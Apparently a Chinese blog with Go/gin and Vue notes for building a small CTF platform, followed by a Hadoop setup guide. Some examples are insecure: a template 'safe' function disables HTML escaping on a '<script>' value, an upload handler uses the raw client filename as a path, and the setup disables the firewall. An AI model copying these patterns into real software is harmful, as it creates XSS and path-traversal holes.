21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;net/http\u0026#34; ) func index(w http.ResponseWriter, r *http.Request) { // 定义模板 t, err := template.ParseFiles(\u0026#34;./templates/base.tmpl\u0026#34;, \u0026#34;./templates/index.tmpl\u0026#34;) // 解析模板 if err != nil { fmt.Printf(\u0026#34;parse template failed, err:%v\\n\u0026#34;, err) return } msg := \u0026#34;this is index\u0026#34; t.ExecuteTemplate(w, \u0026#34;index.tmpl\u0026#34;, msg) // 渲染模板 } func home(w http.ResponseWriter, r *http.Request) { // 定义模板 t, err := template.ParseFiles(\u0026#34;./templates/base.tmpl\u0026#34;, \u0026#34;./templates/home.tmpl\u0026#34;) // 解析模板 if err != nil { fmt.Printf(\u0026#34;parse template failed, err:%v\\n\u0026#34;, err) return } msg := \u0026#34;this is home\u0026#34; t.ExecuteTemplate(w, \u0026#34;home.tmpl\u0026#34;, msg) // 渲染模板 } func main() { http.HandleFunc(\u0026#34;/index\u0026#34;, index) http.HandleFunc(\u0026#34;/home\u0026#34;, home) err := http.ListenAndServe(\u0026#34;:9090\u0026#34;, nil) if err != nil { fmt.Printf(\u0026#34;Failed: %v\u0026#34;, err) return } } templates/index.tmpl\n1 2 3 4 5 {{template \u0026#34;base.tmpl\u0026#34; .}} {{define \u0026#34;content\u0026#34;}} \u0026lt;h1\u0026gt;这是index2\u0026lt;/h1\u0026gt; \u0026lt;h1\u0026gt;Hello {{ . }}\u0026lt;/h1\u0026gt; {{end}} templates/home.tmpl\n1 2 3 4 5 {{template \u0026#34;base.tmpl\u0026#34; .}} {{define \u0026#34;content\u0026#34;}} \u0026lt;h1\u0026gt;这是home2\u0026lt;/h1\u0026gt; \u0026lt;h1\u0026gt;Hello {{ . }}\u0026lt;/h1\u0026gt; {{end}} templates/base.tmpl\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;模板继承\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; * { margin: 0; } .nav { height: 50px; width: 100%; position: fixed; top: 0; background-color: burlywood; } .main { margin-top: 50px; } .menu { width: 20%; height: 100%; position: fixed; left: 0; background-color: cornflowerblue; } .center{ text-align: center; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;div class=\u0026#34;nav\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;main\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;menu\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div class=\u0026#34;content center\u0026#34;\u0026gt; {{block \u0026#34;content\u0026#34; .}}{{ end }} \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 模板补充 更改模板标识，不转义返回html\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;html/template\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { http.HandleFunc(\u0026#34;/\u0026#34;, func(w http.ResponseWriter, r *http.Request) { t, err := template.New(\u0026#34;index.tmpl\u0026#34;).Delims(\u0026#34;{[\u0026#34;, \u0026#34;]}\u0026#34;).Funcs(template.FuncMap{ \u0026#34;safe\u0026#34;: func(s string) template.HTML { return template.HTML(s) }, }).ParseFiles(\u0026#34;./index.tmpl\u0026#34;) if err != nil { fmt.Printf(\u0026#34;%v\u0026#34;, err) } t.Execute(w, \u0026#34;name=\u0026lt;script\u0026gt;\u0026#34;) }) http.ListenAndServe(\u0026#34;:9090\u0026#34;, nil) } index.tmpl\n1 2 3 4 5 6 7 8 9 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;zh-CN\u0026#34;\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;hello world\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;hello {[ . | safe ]}\u0026lt;/h1\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; gin模板渲染 模板渲染，自定义函数，静态文件处理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;html/template\u0026#34; ) func main() { r := gin.Default() r.SetFuncMap(template.FuncMap{ \u0026#34;safe\u0026#34;: func(s string) template.HTML { return template.HTML(s) }, }) r.Static(\u0026#34;/static\u0026#34;, \u0026#34;./static\u0026#34;) r.LoadHTMLGlob(\u0026#34;templates/**/*\u0026#34;) //**表示目录，*表示文件 r.GET(\u0026#34;/index\u0026#34;, func(c *gin.Context) { c.HTML(200, \u0026#34;index.html\u0026#34;, nil) }) r.GET(\u0026#34;/users/index\u0026#34;, func(c *gin.Context) { c.HTML(200, \u0026#34;users/index.tmpl\u0026#34;, gin.H{ \u0026#34;title\u0026#34;: \u0026#34;aaa\u0026#34;, }) }) r.GET(\u0026#34;/posts/index\u0026#34;, func(c *gin.Context) { c.HTML(200, \u0026#34;posts/index.tmpl\u0026#34;, gin.H{ \u0026#34;title\u0026#34;: c.Query(\u0026#34;name\u0026#34;), }) }) r.Run(\u0026#34;:9090\u0026#34;) } 1 2 3 4 5 6 7 8 9 10 {{define \u0026#34;users/index.tmpl\u0026#34;}} \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;{{ .title }}\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; users/index \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; {{end}} 模板继承 gin返回json 如果结构体中字段首字母为小写，不可导出。可以使用tag\n`json:\u0026#34;name\u0026#34;` 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;net/http\u0026#34; ) type msg struct { Name string `json:\u0026#34;name\u0026#34;` Message string Age int } func main() { r := gin.Default() r.GET(\u0026#34;/json\u0026#34;, func(c *gin.Context) { c.JSON(200, gin.H{\u0026#34;aaa\u0026#34;: \u0026#34;aaa\u0026#34;}) fmt.Println(\u0026#34;test\u0026#34;) }) r.GET(\u0026#34;/backdoor_you_never_know\u0026#34;, func(c *gin.Context) { m := msg{ \u0026#34;L1ao\u0026#34;, \u0026#34;nihao\u0026#34;, 18, } c.JSON(http.StatusOK, m) }) r.Run(\u0026#34;:9090\u0026#34;) } gin获取参数 go mod tidy 检查依赖\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { r := gin.Default() // 普通请求 r.GET(\u0026#34;/ping\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: \u0026#34;pong\u0026#34;, }) }) // GET传参 r.GET(\u0026#34;/usr/search\u0026#34;, func(c *gin.Context) { name := c.Query(\u0026#34;name\u0026#34;) c.JSON(http.StatusOK, gin.H{ \u0026#34;name\u0026#34;: name, }) }) // POST传参 r.POST(\u0026#34;/usr/search\u0026#34;, func(c *gin.Context) { name := c.PostForm(\u0026#34;name\u0026#34;) c.JSON(http.StatusOK, gin.H{ \u0026#34;name\u0026#34;: name, }) }) // 路径传参 r.GET(\u0026#34;/blog/:year/:month\u0026#34;, func(c *gin.Context) { year := c.Param(\u0026#34;year\u0026#34;) month := c.Param(\u0026#34;month\u0026#34;) c.JSON(http.StatusOK, gin.H{ \u0026#34;year\u0026#34;: year, \u0026#34;month\u0026#34;: month, }) }) r.Run(\u0026#34;:9090\u0026#34;) } gin参数绑定 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;net/http\u0026#34; ) type User struct { Name string `form:\u0026#34;name\u0026#34; json:\u0026#34;name\u0026#34; binding:\u0026#34;required\u0026#34;` Age int `form:\u0026#34;age\u0026#34; json:\u0026#34;age\u0026#34; binding:\u0026#34;required\u0026#34;` } func main() { r := gin.Default() // 普通请求 r.GET(\u0026#34;/user\u0026#34;, func(c *gin.Context) { var user User if err := c.ShouldBind(\u0026amp;user); err == nil { c.JSON(http.StatusOK, gin.H{ \u0026#34;name\u0026#34;: user.Name, \u0026#34;age\u0026#34;: user.Age, }) } }) r.POST(\u0026#34;/userForm\u0026#34;, func(c *gin.Context) { var user User if err := c.ShouldBind(\u0026amp;user); err == nil { c.JSON(http.StatusOK, gin.H{ \u0026#34;name\u0026#34;: user.Name, \u0026#34;age\u0026#34;: user.Age, }) } }) r.POST(\u0026#34;/userJson\u0026#34;, func(c *gin.Context) { var user User if err := c.ShouldBind(\u0026amp;user); err == nil { c.JSON(http.StatusOK, gin.H{ \u0026#34;name\u0026#34;: user.Name, \u0026#34;age\u0026#34;: user.Age, }) } }) r.Run(\u0026#34;:9090\u0026#34;) } gin文件上传 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package main import ( \u0026#34;fmt\u0026#34; \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { r := gin.Default() r.Static(\u0026#34;/upload\u0026#34;, \u0026#34;./upload\u0026#34;) r.LoadHTMLGlob(\u0026#34;templates/*\u0026#34;) r.GET(\u0026#34;/index\u0026#34;, func(c *gin.Context) { c.HTML(http.StatusOK, \u0026#34;index.html\u0026#34;, nil) }) r.POST(\u0026#34;/upload\u0026#34;, func(c *gin.Context) { file, err := c.FormFile(\u0026#34;file\u0026#34;) if err != nil { c.JSON(http.StatusInternalServerError, gin.H{ \u0026#34;message\u0026#34;: err.Error(), }) } log.Println(file.Filename) dst := fmt.Sprintf(\u0026#34;./upload/%s\u0026#34;, file.Filename) c.SaveUploadedFile(file, dst) c.JSON(http.StatusOK, gin.H{ \u0026#34;message\u0026#34;: fmt.Sprintf(\u0026#34;\u0026#39;%s\u0026#39; uploaded!\u0026#34;, file.Filename), }) }) r.Run(\u0026#34;:9090\u0026#34;) // listen and serve on } 重定向 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;net/http\u0026#34; ) func main() { r := gin.Default() // http重定向 r.GET(\u0026#34;/\u0026#34;, func(c *gin.Context) { c.Redirect(http.StatusMovedPermanently, \u0026#34;https://www.liwenzhou.com/\u0026#34;) }) // 路由重定向 r.GET(\u0026#34;/ping\u0026#34;, func(c *gin.Context) { c.Request.URL.Path = \u0026#34;/ping2\u0026#34; r.HandleContext(c) }) r.GET(\u0026#34;/ping2\u0026#34;, func(c *gin.Context) { c.String(http.StatusOK, \u0026#34;ping2\u0026#34;) }) r.Run(\u0026#34;:9090\u0026#34;) } Day2 路由/路由组 \u0026amp; 中间件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 package main import ( \u0026#34;github.com/gin-gonic/gin\u0026#34; \u0026#34;log\u0026#34; \u0026#34;net/http\u0026#34; \u0026#34;time\u0026#34; ) func StatCost() gin.HandlerFunc { return func(c *gin.Context) { start := time.Now() c.Set(\u0026#34;name\u0026#34;, \u0026#34;kxy\u0026#34;) c.Next() cost := time.Since(start) log.Println(cost) } } func main() { r := gin.Default() // r.Use(StatCost()) // 全局路由注册中间件 // 路由 r.GET(\u0026#34;/index\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{\u0026#34;message\u0026#34;: \u0026#34;index GET\u0026#34;}) }) r.GET(\u0026#34;/login\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{\u0026#34;message\u0026#34;: \u0026#34;login GET\u0026#34;}) }) r.POST(\u0026#34;/login\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{\u0026#34;message\u0026#34;: \u0026#34;POST\u0026#34;}) }) r.Any(\u0026#34;/test\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{\u0026#34;message\u0026#34;: \u0026#34;ok\u0026#34;}) }) // 单独路由注册中间件 r.NoRoute(StatCost(), func(c *gin.Context) { name := c.MustGet(\u0026#34;name\u0026#34;).(string) log.Println(name) c.String(http.StatusNotFound, \u0026#34;L1ao\u0026#39;s page but no found hhhh\u0026#34;) }) // 路由组 userGroup := r.Group(\u0026#34;/user\u0026#34;) { userGroup.GET(\u0026#34;/index\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/user/index\u0026#34;, }) }) userGroup.GET(\u0026#34;/login\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/user/login\u0026#34;, }) }) userGroup.GET(\u0026#34;/shop\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/user/shop\u0026#34;, }) }) } shopGroup := r.Group(\u0026#34;/shop\u0026#34;) { shopGroup.GET(\u0026#34;/index\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/shop/index\u0026#34;, }) }) shopGroup.GET(\u0026#34;/cart\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/shop/cart\u0026#34;, }) }) shopGroup.GET(\u0026#34;/checkout\u0026#34;, func(c *gin.Context) { c.JSON(http.StatusOK, gin.H{ \u0026#34;msg\u0026#34;: \u0026#34;/shop/checkout\u0026#34;, }) }) } r.Run(\u0026#34;:9090\u0026#34;) } GORM 快速入门\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 package main import ( \u0026#34;gorm.io/driver/sqlite\u0026#34; \u0026#34;gorm.io/gorm\u0026#34; ) type Product struct { gorm.Model Code string Price uint } func main() { db, err := gorm.Open(sqlite.Open(\u0026#34;test.db\u0026#34;), \u0026amp;gorm.Config{}) if err != nil { panic(\u0026#34;failed to connect database\u0026#34;) } db.AutoMigrate(\u0026amp;Product{}) db.Create(\u0026amp;Product{Code: \u0026#34;D42\u0026#34;, Price: 100}) var product Product db.First(\u0026amp;product, 1) db.First(\u0026amp;product, \u0026#34;code = ?\u0026#34;, \u0026#34;D42\u0026#34;) db.Model(\u0026amp;product).Update(\u0026#34;Price\u0026#34;, 200) db.Model(\u0026amp;product).Updates(Product{Price: 200, Code: \u0026#34;F42\u0026#34;}) db.Model(\u0026amp;product).Updates(map[string]interface{}{\u0026#34;Price\u0026#34;: 200, \u0026#34;Code\u0026#34;: \u0026#34;F42\u0026#34;}) db.Delete(\u0026amp;product, 1) } 前端VUE 简单学点用法\nAttribute 绑定v-bind \u0026lt;div v-bind:id=\u0026#34;dynamicId\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; \u0026lt;div :id=\u0026#34;dynamicId\u0026#34;\u0026gt;\u0026lt;/div\u0026gt; 事件监听 v-on 我们可以使用 v-on 指令监听 DOM 事件：\n\u0026lt;button v-on:click=\u0026#34;increment\u0026#34;\u0026gt;{{ count }}\u0026lt;/button\u0026gt; \u0026lt;button @click=\u0026#34;increment\u0026#34;\u0026gt;{{ count }}\u0026lt;/button\u0026gt; 表单绑定 v-model 我们可以同时使用 v-bind 和 v-on 来在表单的输入元素上创建双向绑定：\n\u0026lt;script\u0026gt; export default { data() { return { text: \u0026#39;\u0026#39; } }, methods: { onInput(e) { this.text = e.target.value } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;input :value=\u0026#34;text\u0026#34; @input=\u0026#34;onInput\u0026#34; placeholder=\u0026#34;Type here\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ text }}\u0026lt;/p\u0026gt; \u0026lt;input v-model=\u0026#34;text\u0026#34; placeholder=\u0026#34;Type here\u0026#34;\u0026gt; \u0026lt;p\u0026gt;{{ text }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 为了简化双向绑定，Vue 提供了一个 v-model 指令，它实际上是上述操作的语法糖：v-model\n列表渲染 v-for \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;todo in todos\u0026#34; :key=\u0026#34;todo.id\u0026#34;\u0026gt; {{ todo.text }} \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; 计算属性 computed \u0026lt;script\u0026gt; let id = 0 export default { data() { return { newTodo: \u0026#39;\u0026#39;, hideCompleted: false, todos: [ { id: id++, text: \u0026#39;Learn HTML\u0026#39;, done: true }, { id: id++, text: \u0026#39;Learn JavaScript\u0026#39;, done: true }, { id: id++, text: \u0026#39;Learn Vue\u0026#39;, done: false } ] } }, computed: { filteredTodos() { return this.hideCompleted ? this.todos.filter((t) =\u0026gt; !t.done) : this.todos } }, methods: { addTodo() { this.todos.push({ id: id++, text: this.newTodo, done: false }) this.newTodo = \u0026#39;\u0026#39; }, removeTodo(todo) { this.todos = this.todos.filter((t) =\u0026gt; t !== todo) } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;form @submit.prevent=\u0026#34;addTodo\u0026#34;\u0026gt; \u0026lt;input v-model=\u0026#34;newTodo\u0026#34;\u0026gt; \u0026lt;button\u0026gt;Add Todo\u0026lt;/button\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;ul\u0026gt; \u0026lt;li v-for=\u0026#34;todo in filteredTodos\u0026#34; :key=\u0026#34;todo.id\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;checkbox\u0026#34; v-model=\u0026#34;todo.done\u0026#34;\u0026gt; \u0026lt;span :class=\u0026#34;{ done: todo.done }\u0026#34;\u0026gt;{{ todo.text }}\u0026lt;/span\u0026gt; \u0026lt;button @click=\u0026#34;removeTodo(todo)\u0026#34;\u0026gt;X\u0026lt;/button\u0026gt; \u0026lt;/li\u0026gt; \u0026lt;/ul\u0026gt; \u0026lt;button @click=\u0026#34;hideCompleted = !hideCompleted\u0026#34;\u0026gt; {{ hideCompleted ? \u0026#39;Show all\u0026#39; : \u0026#39;Hide completed\u0026#39; }} \u0026lt;/button\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;style\u0026gt; .done { text-decoration: line-through; } \u0026lt;/style\u0026gt; 生命周期和模板引用 ref \u0026lt;script\u0026gt; export default { mounted() { this.$refs.p.textContent=\u0026#34;nmsl\u0026#34; // 此时组件已经挂载。 } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;p ref=\u0026#34;p\u0026#34;\u0026gt;hello\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; 侦听器 watch \u0026lt;script\u0026gt; export default { data() { return { todoId: 1, todoData: null } }, methods: { async fetchData() { this.todoData = null const res = await fetch( `https://jsonplaceholder.typicode.com/todos/${this.todoId}` ) this.todoData = await res.json() } }, mounted() { this.fetchData() }, watch: { todoId() { this.fetchData() } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;p\u0026gt;Todo id: {{ todoId }}\u0026lt;/p\u0026gt; \u0026lt;button @click=\u0026#34;todoId++\u0026#34;\u0026gt;Fetch next todo\u0026lt;/button\u0026gt; \u0026lt;p v-if=\u0026#34;!todoData\u0026#34;\u0026gt;Loading...\u0026lt;/p\u0026gt; \u0026lt;pre v-else\u0026gt;{{ todoData }}\u0026lt;/pre\u0026gt; \u0026lt;/template\u0026gt; 组件 父组件可以在模板中渲染另一个组件作为子组件。\nApp.vue\n\u0026lt;script\u0026gt; import ChildComp from \u0026#39;./ChildComp.vue\u0026#39; export default { components: { ChildComp } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;ChildComp /\u0026gt; \u0026lt;/template\u0026gt; ChildComp.vue\n\u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;A Child Component!\u0026lt;/h2\u0026gt; \u0026lt;/template\u0026gt; Props 子组件可以通过 props 从父组件接受动态数据。首先，需要声明它所接受的 props：\nApp.vue\n\u0026lt;script\u0026gt; import ChildComp from \u0026#39;./ChildComp.vue\u0026#39; export default { components: { ChildComp }, data() { return { greeting: \u0026#39;Hello from parent\u0026#39; } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;ChildComp :msg=\u0026#34;greeting\u0026#34; /\u0026gt; \u0026lt;/template\u0026gt; ChildComp.vue\n\u0026lt;script\u0026gt; export default { props: { msg: String } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;{{ msg || \u0026#39;No props passed yet\u0026#39; }}\u0026lt;/h2\u0026gt; \u0026lt;/template\u0026gt; Emits 除了接收 props，子组件还可以向父组件触发事件：\nApp.vue\n\u0026lt;script\u0026gt; import ChildComp from \u0026#39;./ChildComp.vue\u0026#39; export default { components: { ChildComp }, data() { return { childMsg: \u0026#39;No child msg yet\u0026#39; } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;ChildComp @response=\u0026#34;(msg) =\u0026gt; childMsg = msg\u0026#34; /\u0026gt; \u0026lt;p\u0026gt;{{ childMsg }}\u0026lt;/p\u0026gt; \u0026lt;/template\u0026gt; ChildComp.vue\n\u0026lt;script\u0026gt; export default { emits: [\u0026#39;response\u0026#39;], created() { this.$emit(\u0026#39;response\u0026#39;, \u0026#39;hello from child\u0026#39;) } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;h2\u0026gt;Child component\u0026lt;/h2\u0026gt; \u0026lt;/template\u0026gt; 插槽 slots App.vue\n\u0026lt;script\u0026gt; import ChildComp from \u0026#39;./ChildComp.vue\u0026#39; export default { components: { ChildComp }, data() { return { msg: \u0026#39;from parent\u0026#39; } } } \u0026lt;/script\u0026gt; \u0026lt;template\u0026gt; \u0026lt;ChildComp\u0026gt; 123 \u0026lt;/ChildComp\u0026gt; \u0026lt;/template\u0026gt; ChildComp.vue\n\u0026lt;template\u0026gt; \u0026lt;slot\u0026gt;Fallback content\u0026lt;/slot\u0026gt; \u0026lt;/template\u0026gt; Day3 完成用户登陆注册登出，vue前端展示\nDay4 完成challenge的添加与显示，vue前端展示\n","date":"2023-03-06T20:50:35Z","permalink":"/2023/03/06/go-web/","title":"Go 开发极简 CTF 平台"},{"content":"大数据学习 大数据 大数据由巨型数据集组成，这些数据集大小常超出人类在可接受时间下的收集、庋用、管理和处理能力[16]。大数据的大小经常改变，截至2012年，单一数据集的大小从数太字节（TB）至数十兆亿字节（PB）不等。\n分布式 分布式存储是一种数据存储技术，通过网络使用企业中的每台机器上的磁盘空间，并将这些分散的存储资源构成一个虚拟的存储设备，数据分散的存储在企业的各个角落。\n分布式计算是一种计算方法，和集中式计算是相对的。\n随着计算技术的发展，有些应用需要非常巨大的计算能力才能完成，如果采用集中式计算，需要耗费相当长的时间来完成。\n分布式计算将该应用分解成许多小的部分，分配给多台计算机进行处理。这样可以节约整体计算时间，大大提高计算效率。\nwhy 随着数据量的增大，单从扩大计算机的资源方面已经很难满足日常需求并且费用昂贵。从而引起分布式的出现，分布式的出现可以将数据存储在多台计算机上，使用多台计算机来进行运算，解决了单个计算机资源不足的痛点\n本文 本文通过是通过对网站日志数据的处理这一例子来学习大数据的大概流程\n贴一个大致流程图（毕竟是给自己看的，凑合\nflume -\u0026gt; hadoop -\u0026gt; hive -\u0026gt; hadoop -\u0026gt; mysql -\u0026gt; webserver -\u0026gt; browser\n关于 定时任务这块 做个了解 并没有源源不断的数据\n本文记录每个工具的基本使用\n环境 CentOS 7 1核2G 测试环境仅使用一台机子 java 1.8.0_361 flume 1.9.0 azkaban hadoop 3.1.0 sqoop 1.4.7 hive 3.1.2-bin mysql 5.7.35\njdk 1 2 3 4 5 vim /etc/profile # 文件末尾增加 export JAVA_HOME=/opt/server/jdk1.8.0_361 export PATH=${JAVA_HOME}/bin:$PATH source /etc/profile hadoop Hadoop 组件之间需要基于 SSH 进行通讯，配置免密登录后不需要每次都输入密码\n1 2 3 4 5 6 7 8 9 vim /etc/hosts # 文件末尾增加 192.168.80.100 server ssh-keygen -t rsa cd ~/.ssh cat id_rsa.pub \u0026gt;\u0026gt; authorized_keys chmod 600 authorized_keys 配置hadoop\n1 2 vim hadoop-env.sh export JAVA_HOME=/opt/server/jdk1.8.0_361 # java目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 # 修改 core-site.xml指定hdfs 协议文件系统的通信地址及hadoop 存储临时文件的目录 \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;!--指定 namenode 的 hdfs 协议文件系统的通信地址--\u0026gt; \u0026lt;name\u0026gt;fs.defaultFS\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;hdfs://server:8020\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;!--指定 hadoop 数据文件存储目录--\u0026gt; \u0026lt;name\u0026gt;hadoop.tmp.dir\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;/home/hadoop/data\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # 修改hdfs-site.xml，指定 dfs 的副本系数 \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;!--由于我们这里搭建是单机版本，所以指定 dfs 的副本系数为 1--\u0026gt; \u0026lt;name\u0026gt;dfs.replication\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;1\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # 修改workers文件，配置所有从属节点 vim workers # 配置所有从属节点的主机名或 IP 地址，由于是单机版本，所以指定本机即可： server 初始化并且启动hdfs\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 关闭防火墙，不然web访问不到 # 关闭防火墙: sudo systemctl stop firewalld # 禁止开机启动 sudo systemctl disable firewalld cd /opt/server/hadoop-3.1.0/bin ./hdfs namenode -format cd /opt/server/hadoop-3.1.0/sbin/ # 编辑start-dfs.sh、stop-dfs.sh,在顶部加入以下内容，使得可以使用root启动集群 HDFS_DATANODE_USER=root HDFS_DATANODE_SECURE_USER=hdfs HDFS_NAMENODE_USER=root HDFS_SECONDARYNAMENODE_USER=root cd /opt/server/hadoop-3.1.0/sbin/ ./start-dfs.sh # 启动 HDFS： jps # 执行 jps 查看 NameNode 和 DataNode 服务是否已经启动： web ui 界面端口为：9870\nhadoop（yarn） 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 # 修改mapred-site.xml文件 \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.framework.name\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;yarn\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;yarn.app.mapreduce.am.env\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;HADOOP_MAPRED_HOME=${HADOOP_HOME}\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.map.env\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;HADOOP_MAPRED_HOME=${HADOOP_HOME}\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;property\u0026gt; \u0026lt;name\u0026gt;mapreduce.reduce.env\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;HADOOP_MAPRED_HOME=${HADOOP_HOME}\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuratio # 修改yarn-site.xml文件，配置 NodeManager 上运行的附属服务 \u0026lt;configuration\u0026gt; \u0026lt;property\u0026gt; \u0026lt;!--配置 NodeManager 上运行的附属服务。需要配置成 mapreduce_shuffle 后才可以在Yarn 上运行 MapRedvimuce 程序。--\u0026gt; \u0026lt;name\u0026gt;yarn.nodemanager.aux-services\u0026lt;/name\u0026gt; \u0026lt;value\u0026gt;mapreduce_shuffle\u0026lt;/value\u0026gt; \u0026lt;/property\u0026gt; \u0026lt;/configuration\u0026gt; # start-yarn.sh stop-yarn.sh在两个文件顶部添加以下内容 YARN_RESOURCEMANAGER_USER=root HADOOP_SECURE_DN_USER=yarn YARN_NODEMANAGER_USER=root # 启动 YARN ./start-yarn.sh # 测试功能 hadoop jar 